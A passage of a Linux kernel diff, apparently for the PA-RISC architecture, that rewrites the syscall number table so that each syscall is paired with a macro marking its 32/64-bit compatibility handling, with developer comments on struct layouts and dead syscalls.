-#define __NR_inotify_add_watch	(__NR_Linux + 270)
-#define __NR_inotify_rm_watch	(__NR_Linux + 271)
-#define __NR_migrate_pages	(__NR_Linux + 272)
-#define __NR_pselect6		(__NR_Linux + 273)
-#define __NR_ppoll		(__NR_Linux + 274)
-#define __NR_openat		(__NR_Linux + 275)
-#define __NR_mkdirat		(__NR_Linux + 276)
-#define __NR_mknodat		(__NR_Linux + 277)
-#define __NR_fchownat		(__NR_Linux + 278)
-#define __NR_futimesat		(__NR_Linux + 279)
-#define __NR_fstatat64		(__NR_Linux + 280)
-#define __NR_unlinkat		(__NR_Linux + 281)
-#define __NR_renameat		(__NR_Linux + 282)
-#define __NR_linkat		(__NR_Linux + 283)
-#define __NR_symlinkat		(__NR_Linux + 284)
-#define __NR_readlinkat		(__NR_Linux + 285)
-#define __NR_fchmodat		(__NR_Linux + 286)
-#define __NR_faccessat		(__NR_Linux + 287)
-#define __NR_unshare		(__NR_Linux + 288)
-#define __NR_set_robust_list	(__NR_Linux + 289)
-#define __NR_get_robust_list	(__NR_Linux + 290)
-#define __NR_splice		(__NR_Linux + 291)
-#define __NR_sync_file_range	(__NR_Linux + 292)
-#define __NR_tee		(__NR_Linux + 293)
-#define __NR_vmsplice		(__NR_Linux + 294)
-#define __NR_move_pages		(__NR_Linux + 295)
-#define __NR_getcpu		(__NR_Linux + 296)
-#define __NR_epoll_pwait	(__NR_Linux + 297)
-#define __NR_statfs64		(__NR_Linux + 298)
-#define __NR_fstatfs64		(__NR_Linux + 299)
-#define __NR_kexec_load		(__NR_Linux + 300)
-#define __NR_utimensat		(__NR_Linux + 301)
-#define __NR_signalfd		(__NR_Linux + 302)
-#define __NR_timerfd		(__NR_Linux + 303)
-#define __NR_eventfd		(__NR_Linux + 304)
 
-#define __NR_Linux_syscalls	(__NR_eventfd + 1)
+#define __NR_restart_syscall		(__NR_Linux + 0)
+__SYSCALL_SAME(__NR_restart_syscall, restart_syscall)
+#define __NR_exit			(__NR_Linux + 1)
+__SYSCALL_SAME(__NR_exit, exit)
+#define __NR_fork			(__NR_Linux + 2)
+__SYSCALL_SAME(__NR_fork, fork_wrapper)
+#define __NR_read			(__NR_Linux + 3)
+__SYSCALL_SAME(__NR_read, read)
+#define __NR_write			(__NR_Linux + 4)
+__SYSCALL_SAME(__NR_write, write)
+#define __NR_open			(__NR_Linux + 5)
+__SYSCALL_SAME(__NR_open, open)
+#define __NR_close			(__NR_Linux + 6)
+__SYSCALL_SAME(__NR_close, close)
+#define __NR_waitpid			(__NR_Linux + 7)
+__SYSCALL_SAME(__NR_waitpid, waitpid)
+
+#define __NR_creat			(__NR_Linux + 8)
+__SYSCALL_SAME(__NR_creat, creat)
+#define __NR_link			(__NR_Linux + 9)
+__SYSCALL_SAME(__NR_link, link)
+#define __NR_unlink			(__NR_Linux + 10)
+__SYSCALL_SAME(__NR_unlink, unlink)
+#define __NR_execve			(__NR_Linux + 11)
+__SYSCALL_DIFF(__NR_execve, execve_wrapper)
+#define __NR_chdir			(__NR_Linux + 12)
+__SYSCALL_SAME(__NR_chdir, chdir)
+#define __NR_time			(__NR_Linux + 13)	/* See comments in kernel/time.c!!! Maybe we don't need this? */
+__SYSCALL_COMP(__NR_time, time)
+#define __NR_mknod			(__NR_Linux + 14)
+__SYSCALL_SAME(__NR_mknod, mknod)
+#define __NR_chmod			(__NR_Linux + 15)
+__SYSCALL_SAME(__NR_chmod, chmod)
+
+#define __NR_lchown			(__NR_Linux + 16)
+__SYSCALL_SAME(__NR_lchown, lchown)
+#define __NR_socket			(__NR_Linux + 17)
+__SYSCALL_SAME(__NR_socket, socket)
+#define __NR_stat			(__NR_Linux + 18)	/* struct stat is MAYBE identical wide and narrow ?? */
+__SYSCALL_COMP(__NR_stat, newstat)
+#define __NR_lseek			(__NR_Linux + 19)
+__SYSCALL_DIFF(__NR_lseek, lseek)
+#define __NR_getpid			(__NR_Linux + 20)
+__SYSCALL_SAME(__NR_getpid, getpid)
+#define __NR_mount			(__NR_Linux + 21)	/* the 'void * data' parameter may need re-packing in wide */
+__SYSCALL_COMP(__NR_mount, mount)
+#define __NR_bind			(__NR_Linux + 22)
+__SYSCALL_SAME(__NR_bind, bind)
+#define __NR_setuid			(__NR_Linux + 23)
+__SYSCALL_SAME(__NR_setuid, setuid)
+
+#define __NR_getuid			(__NR_Linux + 24)
+__SYSCALL_SAME(__NR_getuid, getuid)
+#define __NR_stime			(__NR_Linux + 25)
+__SYSCALL_COMP(__NR_stime, stime)
+#define __NR_ptrace			(__NR_Linux + 26)
+__SYSCALL_SAME(__NR_ptrace, ptrace)
+#define __NR_alarm			(__NR_Linux + 27)
+__SYSCALL_SAME(__NR_alarm, alarm)
+#define __NR_fstat			(__NR_Linux + 28)
+__SYSCALL_COMP(__NR_fstat, newfstat)
+#define __NR_pause			(__NR_Linux + 29)
+__SYSCALL_SAME(__NR_pause, pause)
+#define __NR_utime			(__NR_Linux + 30)
+__SYSCALL_COMP(__NR_utime, utime)				/* struct utimbuf uses time_t which might vary */
+#define __NR_connect			(__NR_Linux + 31)
+__SYSCALL_SAME(__NR_connect, connect)
+
+#define __NR_listen			(__NR_Linux + 32)
+__SYSCALL_SAME(__NR_listen, listen)
+#define __NR_access			(__NR_Linux + 33)
+__SYSCALL_SAME(__NR_access, access)
+#define __NR_nice			(__NR_Linux + 34)
+__SYSCALL_SAME(__NR_nice, nice)
+#define __NR_accept			(__NR_Linux + 35)
+__SYSCALL_SAME(__NR_accept, accept)
+#define __NR_sync			(__NR_Linux + 36)
+__SYSCALL_SAME(__NR_sync, sync)
+#define __NR_kill			(__NR_Linux + 37)
+__SYSCALL_SAME(__NR_kill, kill)
+#define __NR_rename			(__NR_Linux + 38)
+__SYSCALL_SAME(__NR_rename, rename)
+#define __NR_mkdir			(__NR_Linux + 39)
+__SYSCALL_SAME(__NR_mkdir, mkdir)
+
+#define __NR_rmdir			(__NR_Linux + 40)
+__SYSCALL_SAME(__NR_rmdir, rmdir)
+#define __NR_dup			(__NR_Linux + 41)
+__SYSCALL_SAME(__NR_dup, dup)
+#define __NR_pipe			(__NR_Linux + 42)
+__SYSCALL_SAME(__NR_pipe, pipe)
+#define __NR_times			(__NR_Linux + 43)
+__SYSCALL_COMP(__NR_times, times)
+#define __NR_getsockname		(__NR_Linux + 44)
+__SYSCALL_SAME(__NR_getsockname, getsockname)
+#define __NR_brk			(__NR_Linux + 45)
+__SYSCALL_SAME(__NR_brk, brk)
+#define __NR_setgid			(__NR_Linux + 46)
+__SYSCALL_SAME(__NR_setgid, setgid)
+#define __NR_getgid			(__NR_Linux + 47)
+__SYSCALL_SAME(__NR_getgid, getgid)
+
+#define __NR_signal			(__NR_Linux + 48)
+__SYSCALL_SAME(__NR_signal, signal)
+#define __NR_geteuid			(__NR_Linux + 49)
+__SYSCALL_SAME(__NR_geteuid, geteuid)
+#define __NR_getegid			(__NR_Linux + 50)
+__SYSCALL_SAME(__NR_getegid, getegid)
+#define __NR_acct			(__NR_Linux + 51)
+__SYSCALL_SAME(__NR_acct, acct)
+#define __NR_umount2			(__NR_Linux + 52)
+__SYSCALL_SAME(__NR_umount2, umount)
+#define __NR_getpeername		(__NR_Linux + 53)
+__SYSCALL_SAME(__NR_getpeername, getpeername)
+#define __NR_ioctl			(__NR_Linux + 54)
+__SYSCALL_COMP(__NR_ioctl, ioctl)
+#define __NR_fcntl			(__NR_Linux + 55)
+__SYSCALL_COMP(__NR_fcntl, fcntl)
+
+#define __NR_socketpair			(__NR_Linux + 56)
+__SYSCALL_SAME(__NR_socketpair, socketpair)
+#define __NR_setpgid			(__NR_Linux + 57)
+__SYSCALL_SAME(__NR_setpgid, setpgid)
+#define __NR_send			(__NR_Linux + 58)
+__SYSCALL_SAME(__NR_send, send)
+#define __NR_uname			(__NR_Linux + 59)
+__SYSCALL_OURS(__NR_uname, newuname)
+#define __NR_umask			(__NR_Linux + 60)
+__SYSCALL_SAME(__NR_umask, umask)
+#define __NR_chroot			(__NR_Linux + 61)
+__SYSCALL_SAME(__NR_chroot, chroot)
+#define __NR_ustat			(__NR_Linux + 62)
+__SYSCALL_SAME(__NR_ustat, ustat)
+#define __NR_dup2			(__NR_Linux + 63)
+__SYSCALL_SAME(__NR_dup2, dup2)
+
+#define __NR_getppid			(__NR_Linux + 64)
+__SYSCALL_SAME(__NR_getppid, getppid)
+#define __NR_getpgrp			(__NR_Linux + 65)
+__SYSCALL_SAME(__NR_getpgrp, getpgrp)
+#define __NR_setsid			(__NR_Linux + 66)
+__SYSCALL_SAME(__NR_setsid, setsid)
+#define __NR_pivot_root			(__NR_Linux + 67)
+__SYSCALL_SAME(__NR_pivot_root, pivot_root)
+#define __NR_sgetmask			(__NR_Linux + 68)
+__SYSCALL_UHOH(__NR_sgetmask, sgetmask)
+#define __NR_ssetmask			(__NR_Linux + 69)
+__SYSCALL_UHOH(__NR_ssetmask, ssetmask)
+#define __NR_setreuid			(__NR_Linux + 70)
+__SYSCALL_SAME(__NR_setreuid, setreuid)
+#define __NR_setregid			(__NR_Linux + 71)
+__SYSCALL_SAME(__NR_setregid, setregid)
+
+#define __NR_mincore			(__NR_Linux + 72)
+__SYSCALL_SAME(__NR_mincore, mincore)
+#define __NR_sigpending			(__NR_Linux + 73)
+__SYSCALL_COMP(__NR_sigpending, sigpending)
+#define __NR_sethostname		(__NR_Linux + 74)
+__SYSCALL_SAME(__NR_sethostname, sethostname)
+#define __NR_setrlimit			(__NR_Linux + 75)	/* Following 3 have linux-common-code structs containing longs -( */
+__SYSCALL_COMP(__NR_setrlimit, setrlimit)
+#define __NR_getrlimit			(__NR_Linux + 76)
+__SYSCALL_COMP(__NR_getrlimit, getrlimit)
+#define __NR_getrusage			(__NR_Linux + 77)
+__SYSCALL_COMP(__NR_getrusage, getrusage)
+#define __NR_gettimeofday		(__NR_Linux + 78)	/* struct timeval and timezone are maybe?? consistent wide and narrow */
+__SYSCALL_DIFF(__NR_gettimeofday, gettimeofday)
+#define __NR_settimeofday		(__NR_Linux + 79)
+__SYSCALL_DIFF(__NR_settimeofday, settimeofday)
+
+#define __NR_getgroups			(__NR_Linux + 80)
+__SYSCALL_SAME(__NR_getgroups, getgroups)
+#define __NR_setgroups			(__NR_Linux + 81)
+__SYSCALL_SAME(__NR_setgroups, setgroups)
+#define __NR_sendto			(__NR_Linux + 82)
+__SYSCALL_SAME(__NR_sendto, sendto)
+#define __NR_symlink			(__NR_Linux + 83)
+__SYSCALL_SAME(__NR_symlink, symlink)
+#define __NR_lstat			(__NR_Linux + 84)
+__SYSCALL_COMP(__NR_lstat, newlstat)
+#define __NR_readlink			(__NR_Linux + 85)
+__SYSCALL_SAME(__NR_readlink, readlink)
+#define __NR_uselib			(__NR_Linux + 86)	/* uselib -- dead */
+__SYSCALL_SAME(__NR_uselib, ni_syscall)
+#define __NR_swapon			(__NR_Linux + 87)
+__SYSCALL_SAME(__NR_swapon, swapon)
+
+#define __NR_reboot			(__NR_Linux + 88)
+__SYSCALL_SAME(__NR_reboot, reboot)
+#define __NR_mmap2			(__NR_Linux + 89)
+__SYSCALL_SAME(__NR_mmap2, mmap2)
+#define __NR_mmap			(__NR_Linux + 90)
+__SYSCALL_SAME(__NR_mmap, mmap)
+#define __NR_munmap			(__NR_Linux + 91)
+__SYSCALL_SAME(__NR_munmap, munmap)
+#define __NR_truncate			(__NR_Linux + 92)
+__SYSCALL_SAME(__NR_truncate, truncate)
+#define __NR_ftruncate			(__NR_Linux + 93)
+__SYSCALL_SAME(__NR_ftruncate, ftruncate)
+#define __NR_fchmod			(__NR_Linux + 94)
+__SYSCALL_SAME(__NR_fchmod, fchmod)
+#define __NR_fchown			(__NR_Linux + 95)
+__SYSCALL_SAME(__NR_fchown, fchown)
+
+#define __NR_getpriority		(__NR_Linux + 96)
+__SYSCALL_SAME(__NR_getpriority, getpriority)
+#define __NR_setpriority		(__NR_Linux + 97)
+__SYSCALL_SAME(__NR_setpriority, setpriority)
+#define __NR_recv			(__NR_Linux + 98)
+__SYSCALL_SAME(__NR_recv, recv)
+#define __NR_statfs			(__NR_Linux + 99)
+__SYSCALL_COMP(__NR_statfs, statfs)
+#define __NR_fstatfs			(__NR_Linux + 100)
+__SYSCALL_COMP(__NR_fstatfs, fstatfs)
+#define __NR_stat64			(__NR_Linux + 101)
+__SYSCALL_SAME(__NR_stat64, stat64)
+#define __NR_socketcall_IGNORE		(__NR_Linux + 102)	/* socketcall -- dead */
+__SYSCALL_SAME(__NR_socketcall_IGNORE, ni_syscall)
+#define __NR_syslog			(__NR_Linux + 103)
+__SYSCALL_SAME(__NR_syslog, syslog)
+
+#define __NR_setitimer			(__NR_Linux + 104)
+__SYSCALL_COMP(__NR_setitimer, setitimer)
+#define __NR_getitimer			(__NR_Linux + 105)
+__SYSCALL_COMP(__NR_getitimer, getitimer)
+#define __NR_capget			(__NR_Linux + 106)
+__SYSCALL_SAME(__NR_capget, capget)
+#define __NR_capset			(__NR_Linux + 107)
+__SYSCALL_SAME(__NR_capset, capset)
+#define __NR_pread64			(__NR_Linux + 108)
+__SYSCALL_OURS(__NR_pread64, pread64)
+#define __NR_pwrite64			(__NR_Linux + 109)
+__SYSCALL_OURS(__NR_pwrite64, pwrite64)
+#define __NR_getcwd			(__NR_Linux + 110)
+__SYSCALL_SAME(__NR_getcwd, getcwd)
+#define __NR_vhangup			(__NR_Linux + 111)
+__SYSCALL_SAME(__NR_vhangup, vhangup)
+
+#define __NR_fstat64			(__NR_Linux + 112)
+__SYSCALL_SAME(__NR_fstat64, fstat64)
+#define __NR_vfork			(__NR_Linux + 113)
+__SYSCALL_SAME(__NR_vfork, vfork_wrapper)
+#define __NR_wait4			(__NR_Linux + 114)	/* struct rusage contains longs... */
+__SYSCALL_COMP(__NR_wait4, wait4)
+#define __NR_swapoff			(__NR_Linux + 115)
+__SYSCALL_SAME(__NR_swapoff, swapoff)
+#define __NR_sysinfo			(__NR_Linux + 116)
+__SYSCALL_COMP(__NR_sysinfo, sysinfo)
+#define __NR_shutdown			(__NR_Linux + 117)
+__SYSCALL_SAME(__NR_shutdown, shutdown)
+#define __NR_fsync			(__NR_Linux + 118)
+__SYSCALL_SAME(__NR_fsync, fsync)
+#define __NR_madvise			(__NR_Linux + 119)
+__SYSCALL_SAME(__NR_madvise, madvise)
+
+#define __NR_clone			(__NR_Linux + 120)
+__SYSCALL_SAME(__NR_clone, clone_wrapper)
+#define __NR_setdomainname		(__NR_Linux + 121)
+__SYSCALL_SAME(__NR_setdomainname, setdomainname)
+#define __NR_sendfile			(__NR_Linux + 122)
+__SYSCALL_DIFF(__NR_sendfile, sendfile)
+#define __NR_recvfrom			(__NR_Linux + 123)
+__SYSCALL_SAME(__NR_recvfrom, recvfrom)
+#define __NR_adjtimex			(__NR_Linux + 124)
+__SYSCALL_COMP(__NR_adjtimex, adjtimex)
+#define __NR_mprotect			(__NR_Linux + 125)
+__SYSCALL_SAME(__NR_mprotect, mprotect)
+#define __NR_sigprocmask		(__NR_Linux + 126)	/* old_sigset_t forced to 32 bits.  Beware glibc sigset_t */
+__SYSCALL_COMP(__NR_sigprocmask, sigprocmask)
+#define __NR_create_module		(__NR_Linux + 127)	/* create_module -- dead */
+__SYSCALL_SAME(__NR_create_module, ni_syscall)
+
+#define __NR_init_module		(__NR_Linux + 128)
+__SYSCALL_SAME(__NR_init_module, init_module)
+#define __NR_delete_module		(__NR_Linux + 129)
+__SYSCALL_SAME(__NR_delete_module, delete_module)
+#define __NR_get_kernel_syms		(__NR_Linux + 130)	/* get_kernel_syms -- dead */
+__SYSCALL_SAME(__NR_get_kernel_syms, ni_syscall)
+#define __NR_quotactl			(__NR_Linux + 131)
+__SYSCALL_SAME(__NR_quotactl, quotactl)				/* time_t inside struct dqblk */
+#define __NR_getpgid			(__NR_Linux + 132)
+__SYSCALL_SAME(__NR_getpgid, getpgid)
+#define __NR_fchdir			(__NR_Linux + 133)
+__SYSCALL_SAME(__NR_fchdir, fchdir)
+#define __NR_bdflush			(__NR_Linux + 134)
+__SYSCALL_SAME(__NR_bdflush, bdflush)
+#define __NR_sysfs			(__NR_Linux + 135)
+__SYSCALL_SAME(__NR_sysfs, sysfs)
+
+#define __NR_personality		(__NR_Linux + 136)
+__SYSCALL_OURS(__NR_personality, personality)
+#define __NR_afs_syscall		(__NR_Linux + 137)	/* Syscall for Andrew File System */
+__SYSCALL_SAME(__NR_afs_syscall, ni_syscall)
+#define __NR_setfsuid			(__NR_Linux + 138)
+__SYSCALL_SAME(__NR_setfsuid, setfsuid)
+#define __NR_setfsgid			(__NR_Linux + 139)
+__SYSCALL_SAME(__NR_setfsgid, setfsgid)
+#define __NR__llseek			(__NR_Linux + 140)
+__SYSCALL_SAME(__NR__llseek, llseek)
+#define __NR_getdents			(__NR_Linux + 141)	/* struct linux_dirent has longs, like 'unsigned long d_ino' which */
+__SYSCALL_DIFF(__NR_getdents, getdents)			/* almost definitely should be 'ino_t d_ino' but it's too late now */
+#define __NR__newselect			(__NR_Linux + 142)
+__SYSCALL_COMP(__NR__newselect, select)
+#define __NR_flock			(__NR_Linux + 143)
+__SYSCALL_SAME(__NR_flock, flock)
+
+#define __NR_msync			(__NR_Linux + 144)
+__SYSCALL_SAME(__NR_msync, msync)
+#define __NR_readv			(__NR_Linux + 145)	/* struct iovec contains pointers */
+__SYSCALL_COMP(__NR_readv, readv)
+#define __NR_writev			(__NR_Linux + 146)
+__SYSCALL_COMP(__NR_writev, writev)
+#define __NR_getsid			(__NR_Linux + 147)
+__SYSCALL_SAME(__NR_getsid, getsid)
+#define __NR_fdatasync			(__NR_Linux + 148)
+__SYSCALL_SAME(__NR_fdatasync, fdatasync)
+#define __NR__sysctl			(__NR_Linux + 149)	/* struct __sysctl_args is a mess */
+__SYSCALL_DIFF(__NR__sysctl, sysctl)
+#define __NR_mlock			(__NR_Linux + 150)
+__SYSCALL_SAME(__NR_mlock, mlock)
+#define __NR_munlock			(__NR_Linux + 151)
+__SYSCALL_SAME(__NR_munlock, munlock)
+
+#define __NR_mlockall			(__NR_Linux + 152)
+__SYSCALL_SAME(__NR_mlockall, mlockall)
+#define __NR_munlockall			(__NR_Linux + 153)
+__SYSCALL_SAME(__NR_munlockall, munlockall)
+#define __NR_sched_setparam		(__NR_Linux + 154) /* struct sched_param is ok for now */
+__SYSCALL_SAME(__NR_sched_setparam, sched_setparam)
+#define __NR_sched_getparam		(__NR_Linux + 155)
+__SYSCALL_SAME(__NR_sched_getparam, sched_getparam)
+#define __NR_sched_setscheduler		(__NR_Linux + 156)
+__SYSCALL_SAME(__NR_sched_setscheduler, sched_setscheduler)
+#define __NR_sched_getscheduler		(__NR_Linux + 157)
+__SYSCALL_SAME(__NR_sched_getscheduler, sched_getscheduler)
+#define __NR_sched_yield		(__NR_Linux + 158)
+__SYSCALL_SAME(__NR_sched_yield, sched_yield)
+#define __NR_sched_get_priority_max	(__NR_Linux + 159)
+__SYSCALL_SAME(__NR_sched_get_priority_max, sched_get_priority_max)
+
+#define __NR_sched_get_priority_min	(__NR_Linux + 160)
+__SYSCALL_SAME(__NR_sched_get_priority_min, sched_get_priority_min)
+#define __NR_sched_rr_get_interval	(__NR_Linux + 161)
+__SYSCALL_DIFF(__NR_sched_rr_get_interval, sched_rr_get_interval)
+#define __NR_nanosleep			(__NR_Linux + 162)
+__SYSCALL_COMP(__NR_nanosleep, nanosleep)
+#define __NR_mremap			(__NR_Linux + 163)
+__SYSCALL_SAME(__NR_mremap, mremap)
+#define __NR_setresuid			(__NR_Linux + 164)
+__SYSCALL_SAME(__NR_setresuid, setresuid)
+#define __NR_getresuid			(__NR_Linux + 165)
+__SYSCALL_SAME(__NR_getresuid, getresuid)
+#define __NR_sigaltstack		(__NR_Linux + 166)
+__SYSCALL_DIFF(__NR_sigaltstack, sigaltstack_wrapper)
+#define __NR_query_module		(__NR_Linux + 167)	/* query_module -- dead */
+__SYSCALL_SAME(__NR_query_module, ni_syscall)
+
+#define __NR_poll			(__NR_Linux + 168)
+__SYSCALL_SAME(__NR_poll, poll)
+#define __NR_nfsservctl			(__NR_Linux + 169)	/* structs contain pointers and an in_addr... */
+__SYSCALL_COMP(__NR_nfsservctl, nfsservctl)
+#define __NR_setresgid			(__NR_Linux + 170)
+__SYSCALL_SAME(__NR_setresgid, setresgid)
+#define __NR_getresgid			(__NR_Linux + 171)
+__SYSCALL_SAME(__NR_getresgid, getresgid)
+#define __NR_prctl			(__NR_Linux + 172)
+__SYSCALL_SAME(__NR_prctl, prctl)
+#define __NR_rt_sigreturn		(__NR_Linux + 173)	/* signals need a careful review */
+__SYSCALL_SAME(__NR_rt_sigreturn, rt_sigreturn_wrapper)
+#define __NR_rt_sigaction		(__NR_Linux + 174)
+__SYSCALL_DIFF(__NR_rt_sigaction, rt_sigaction)
+#define __NR_rt_sigprocmask		(__NR_Linux + 175)
+__SYSCALL_DIFF(__NR_rt_sigprocmask, rt_sigprocmask)
+
+#define __NR_rt_sigpending		(__NR_Linux + 176)
+__SYSCALL_DIFF(__NR_rt_sigpending, rt_sigpending)
+#define __NR_rt_sigtimedwait		(__NR_Linux + 177)
+__SYSCALL_COMP(__NR_rt_sigtimedwait, rt_sigtimedwait)
+#define __NR_rt_sigqueueinfo		(__NR_Linux + 178)
+__SYSCALL_COMP(__NR_rt_sigqueueinfo, rt_sigqueueinfo)
+#define __NR_rt_sigsuspend		(__NR_Linux + 179)
+__SYSCALL_COMP(__NR_rt_sigsuspend, rt_sigsuspend)
+#define __NR_chown			(__NR_Linux + 180)
+__SYSCALL_SAME(__NR_chown, chown)
+#define __NR_setsockopt			(__NR_Linux + 181)	/* setsockopt() used by iptables: SO_SET_REPLACE/SO_SET_ADD_COUNTERS */
+__SYSCALL_COMP(__NR_setsockopt, setsockopt)
+#define __NR_getsockopt			(__NR_Linux + 182)
+__SYSCALL_COMP(__NR_getsockopt, getsockopt)
+#define __NR_sendmsg			(__NR_Linux + 183)
+__SYSCALL_COMP(__NR_sendmsg, sendmsg)
+
+#define __NR_recvmsg			(__NR_Linux + 184)
+__SYSCALL_COMP(__NR_recvmsg, recvmsg)
+#define __NR_semop			(__NR_Linux + 185)
+__SYSCALL_SAME(__NR_semop, semop)
+#define __NR_semget			(__NR_Linux + 186)
+__SYSCALL_SAME(__NR_semget, semget)
+#define __NR_semctl			(__NR_Linux + 187)
+__SYSCALL_DIFF(__NR_semctl, semctl)
+#define __NR_msgsnd			(__NR_Linux + 188)
+__SYSCALL_DIFF(__NR_msgsnd, msgsnd)
+#define __NR_msgrcv			(__NR_Linux + 189)
+__SYSCALL_DIFF(__NR_msgrcv, msgrcv)
+#define __NR_msgget			(__NR_Linux + 190)
+__SYSCALL_SAME(__NR_msgget, msgget)
+#define __NR_msgctl			(__NR_Linux + 191)
+__SYSCALL_SAME(__NR_msgctl, msgctl)
+
+#define __NR_shmat			(__NR_Linux + 192)
+__SYSCALL_SAME(__NR_shmat, shmat)
+#define __NR_shmdt			(__NR_Linux + 193)
+__SYSCALL_SAME(__NR_shmdt, shmdt)
+#define __NR_shmget			(__NR_Linux + 194)
+__SYSCALL_SAME(__NR_shmget, shmget)
+#define __NR_shmctl			(__NR_Linux + 195)
+__SYSCALL_SAME(__NR_shmctl, shmctl)
+#define __NR_getpmsg			(__NR_Linux + 196)	/* streams1 -- dead */
+__SYSCALL_SAME(__NR_getpmsg, ni_syscall)
+#define __NR_putpmsg			(__NR_Linux + 197)	/* streams2 -- dead */
+__SYSCALL_SAME(__NR_putpmsg, ni_syscall)
+#define __NR_lstat64			(__NR_Linux + 198)
+__SYSCALL_SAME(__NR_lstat64, lstat64)
+#define __NR_truncate64			(__NR_Linux + 199)
+__SYSCALL_OURS(__NR_truncate64, truncate64)
+
+#define __NR_ftruncate64		(__NR_Linux + 200)
+__SYSCALL_OURS(__NR_ftruncate64, ftruncate64)
+#define __NR_getdents64			(__NR_Linux + 201)
+__SYSCALL_SAME(__NR_getdents64, getdents64)
+#define __NR_fcntl64			(__NR_Linux + 202)
+__SYSCALL_COMP(__NR_fcntl64, fcntl64)
+#define __NR_attrctl			(__NR_Linux + 203)	/* attrctl -- dead */
+__SYSCALL_SAME(__NR_attrctl, ni_syscall)
+#define __NR_acl_get			(__NR_Linux + 204)	/* acl_get -- dead */
+__SYSCALL_SAME(__NR_acl_get, ni_syscall)
+#define __NR_acl_set			(__NR_Linux + 205)	/* acl_set -- dead */
+__SYSCALL_SAME(__NR_acl_set, ni_syscall)
+#define __NR_gettid			(__NR_Linux + 206)
+__SYSCALL_SAME(__NR_gettid, gettid)
+#define __NR_readahead			(__NR_Linux + 207)
+__SYSCALL_OURS(__NR_readahead, readahead)
+
+#define __NR_tkill			(__NR_Linux + 208)
+__SYSCALL_SAME(__NR_tkill, tkill)
+#define __NR_sendfile64			(__NR_Linux + 209)
+__SYSCALL_SAME(__NR_sendfile64, sendfile64)
+#define __NR_futex			(__NR_Linux + 210)
+__SYSCALL_COMP(__NR_futex, futex)
+#define __NR_sched_setaffinity		(__NR_Linux + 211)
+__SYSCALL_COMP(__NR_sched_setaffinity, sched_setaffinity)
+#define __NR_sched_getaffinity		(__NR_Linux + 212)
+__SYSCALL_COMP(__NR_sched_getaffinity, sched_getaffinity)
+#define __NR_set_thread_area		(__NR_Linux + 213)	/* set_thread_area */
+__SYSCALL_SAME(__NR_set_thread_area, ni_syscall)
+#define __NR_get_thread_area		(__NR_Linux + 214)	/* get_thread_area */
+__SYSCALL_SAME(__NR_get_thread_area, ni_syscall)
+#define __NR_io_setup			(__NR_Linux + 215)
+__SYSCALL_SAME(__NR_io_setup, io_setup)
+
+#define __NR_io_destroy			(__NR_Linux + 216)
+__SYSCALL_SAME(__NR_io_destroy, io_destroy)
+#define __NR_io_getevents		(__NR_Linux + 217)
+__SYSCALL_SAME(__NR_io_getevents, io_getevents)
+#define __NR_io_submit			(__NR_Linux + 218)
+__SYSCALL_SAME(__NR_io_submit, io_submit)
+#define __NR_io_cancel			(__NR_Linux + 219)
+__SYSCALL_SAME(__NR_io_cancel, io_cancel)
+#define __NR_alloc_hugepages		(__NR_Linux + 220)
+__SYSCALL_SAME(__NR_alloc_hugepages, alloc_hugepages)
+#define __NR_free_hugepages		(__NR_Linux + 221)
+__SYSCALL_SAME(__NR_free_hugepages, free_hugepages)
+#define __NR_exit_group			(__NR_Linux + 222)
+__SYSCALL_SAME(__NR_exit_group, exit_group)
+#define __NR_lookup_dcookie		(__NR_Linux + 223)
+__SYSCALL_DIFF(__NR_lookup_dcookie, lookup_dcookie)
+
+#define __NR_epoll_create		(__NR_Linux + 224)
+__SYSCALL_SAME(__NR_epoll_create, epoll_create)
+#define __NR_epoll_ctl			(__NR_Linux + 225)
+__SYSCALL_SAME(__NR_epoll_ctl, epoll_ctl)
+#define __NR_epoll_wait			(__NR_Linux + 226)
+__SYSCALL_SAME(__NR_epoll_wait, epoll_wait)
+#define __NR_remap_file_pages		(__NR_Linux + 227)
+__SYSCALL_SAME(__NR_remap_file_pages, remap_file_pages)
+#define __NR_semtimedop			(__NR_Linux + 228)
+__SYSCALL_SAME(__NR_semtimedop, semtimedop)
+#define __NR_mq_open			(__NR_Linux + 229)
+__SYSCALL_SAME(__NR_mq_open, mq_open)
+#define __NR_mq_unlink			(__NR_Linux + 230)
+__SYSCALL_SAME(__NR_mq_unlink, mq_unlink)
+#define __NR_mq_timedsend		(__NR_Linux + 231)
+__SYSCALL_SAME(__NR_mq_timedsend, mq_timedsend)
+
+#define __NR_mq_timedreceive		(__NR_Linux + 232)
+__SYSCALL_SAME(__NR_mq_timedreceive, mq_timedreceive)
+#define __NR_mq_notify			(__NR_Linux + 233)
+__SYSCALL_SAME(__NR_mq_notify, mq_notify)
+#define __NR_mq_getsetattr		(__NR_Linux + 234)
+__SYSCALL_SAME(__NR_mq_getsetattr, mq_getsetattr)
+#define __NR_waitid			(__NR_Linux + 235)
+__SYSCALL_COMP(__NR_waitid, waitid)
+#define __NR_fadvise64_64		(__NR_Linux + 236)
+__SYSCALL_OURS(__NR_fadvise64_64, fadvise64_64)
+#define __NR_set_tid_address		(__NR_Linux + 237)
+__SYSCALL_SAME(__NR_set_tid_address, set_tid_address)
+#define __NR_setxattr			(__NR_Linux + 238)
+__SYSCALL_SAME(__NR_setxattr, setxattr)
+#define __NR_lsetxattr			(__NR_Linux + 239)
+__SYSCALL_SAME(__NR_lsetxattr, lsetxattr)
+
+#define __NR_fsetxattr			(__NR_Linux + 240)
+__SYSCALL_SAME(__NR_fsetxattr, fsetxattr)
+#define __NR_getxattr			(__NR_Linux + 241)
+__SYSCALL_SAME(__NR_getxattr, getxattr)
+#define __NR_lgetxattr			(__NR_Linux + 242)
+__SYSCALL_SAME(__NR_lgetxattr, lgetxattr)
+#define __NR_fgetxattr			(__NR_Linux + 243)
+__SYSCALL_SAME(__NR_fgetxattr, fgetxattr)
+#define __NR_listxattr			(__NR_Linux + 244)
+__SYSCALL_SAME(__NR_listxattr, listxattr)
+#define __NR_llistxattr			(__NR_Linux + 245)
+__SYSCALL_SAME(__NR_llistxattr, llistxattr)
+#define __NR_flistxattr			(__NR_Linux + 246)
+__SYSCALL_SAME(__NR_flistxattr, flistxattr)
+#define __NR_removexattr		(__NR_Linux + 247)
+__SYSCALL_SAME(__NR_removexattr, removexattr)
+
+#define __NR_lremovexattr		(__NR_Linux + 248)
+__SYSCALL_SAME(__NR_lremovexattr, lremovexattr)
+#define __NR_fremovexattr		(__NR_Linux + 249)
+__SYSCALL_SAME(__NR_fremovexattr, fremovexattr)
+#define __NR_timer_create		(__NR_Linux + 250)
+__SYSCALL_COMP(__NR_timer_create, timer_create)
+#define __NR_timer_settime		(__NR_Linux + 251)
